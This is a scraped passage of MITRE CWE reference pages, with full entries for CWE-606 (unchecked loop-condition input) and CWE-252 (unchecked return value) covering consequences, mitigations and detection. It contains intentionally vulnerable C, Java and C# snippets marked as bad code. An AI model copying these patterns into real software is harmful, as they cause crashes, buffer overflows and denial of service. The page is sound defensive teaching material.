Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Description, Maintenance_Notes
2020-02-24CWE Content TeamMITRE
updated References
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Description, Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes

CWE-606: Unchecked Input for Loop Condition

Weakness ID: 606
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1284Improper Validation of Specified Quantity in Input
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.834Excessive Iteration
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1215Data Validation Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU)

+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
void iterate(int n){
int i;
for (i = 0; i < n; i++){
foo();
}
}
void iterateFoo()
{
unsigned int num;
scanf("%u",&num);
iterate(num);
}

Example 2

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

(bad code)
Example Language:
int processMessageFromSocket(int socket) {
int success;

char buffer[BUFFER_SIZE];
char message[MESSAGE_SIZE];

// get message from socket and store into buffer

//Ignoring possibliity that buffer > BUFFER_SIZE
if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);

// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {
message[index] = msg->msgBody[index];
}
message[index] = '\0';

// process message
success = processMessage(message);
}
return success;
}

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

+ Potential Mitigations

Phase: Implementation

Do not use user-controlled data for loop conditions.

Phase: Implementation

Perform input validation.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP25Tainted input to variable
OMG ASCSMASCSM-CWE-606
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Looping Constructs", Page 327. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-606. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Type
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-252: Unchecked Return Value

Weakness ID: 252
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
+ Extended Description
Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the product is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.690Unchecked Return Value to NULL Pointer Dereference
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.273Improper Check for Dropped Privileges
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.476NULL Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
+ Background Details
Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity

Technical Impact: Unexpected State; DoS: Crash, Exit, or Restart

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

Consider the following code segment:

(bad code)
Example Language:
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)
Example Language:
int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...
}
int main() {
...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...
}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

(bad code)
Example Language:
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

  • Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
  • It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
  • The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 4

The following examples read a file into a byte array.

(bad code)
Example Language: C# 
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
String userName = (String) i.Current();
String pFileName = PFILE_ROOT + "/" + userName;
StreamReader sr = new StreamReader(pFileName);
sr.Read(byteArray,0,1024);//the file is always 1k bytes
sr.Close();
processPFile(userName, byteArray);
}
(bad code)
Example Language: Java 
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
String userName = (String) i.next();
String pFileName = PFILE_ROOT + "/" + userName;
FileInputStream fis = new FileInputStream(pFileName);
fis.read(byteArray); // the file is always 1k bytes
fis.close();
processPFile(userName, byteArray);

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 5

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

(bad code)
Example Language: Java 
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
...
}
...

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

(bad code)
Example Language: Java 
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

(bad code)
Example Language: Java 
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 7

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

(bad code)
Example Language: C# 
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 8

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

Example 9

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 10

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}
+ Observed Examples
ReferenceDescription
Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862)
Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476)
Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).
Unchecked return value leads to resultant integer overflow and code execution.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
chain: unchecked return value can lead to NULL dereference
chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).
Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges.
Chain: Return values of file/socket operations are not checked (CWE-252), allowing resultant consumption of file descriptors (CWE-772).
+ Potential Mitigations

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness: High

Note: Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

Ensure that you account for all possible return values from the function.

Phase: Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.847The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1136SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1167SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsUnchecked Return Value
CLASPIgnored function return value
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
CERT C Secure CodingERR33-CImpreciseDetect and handle standard library errors
CERT C Secure CodingPOS54-CImpreciseDetect and handle POSIX library errors
The CERT Oracle Secure Coding Standard for Java (2011)EXP00-JDo not ignore values returned by methods
SEI CERT Perl Coding StandardEXP32-PLExactDo not ignore function return values
Software Fault PatternsSFP4Unchecked Status Condition
OMG ASCSMASCSM-CWE-252-resource
OMG ASCRMASCRM-CWE-252-data
OMG ASCRMASCRM-CWE-252-resource
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Program Building Blocks" Page 341. 1st Edition. Addison Wesley. 2006.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 20, "Checking Returns" Page 624. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-252-data. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-252-resource. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-252-resource. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Contributions
Contribution DateContributorOrganization
2010-04-30Martin SeborCisco Systems, Inc.
Provided Demonstrative Example and suggested CERT reference
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, References
2010-09-27CWE Content TeamMITRE
updated Observed_Examples
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References
2020-06-25CWE Content TeamMITRE
updated Observed_Examples
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships, Weakness_Ordinalities
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-674: Uncontrolled Recursion

Weakness ID: 674
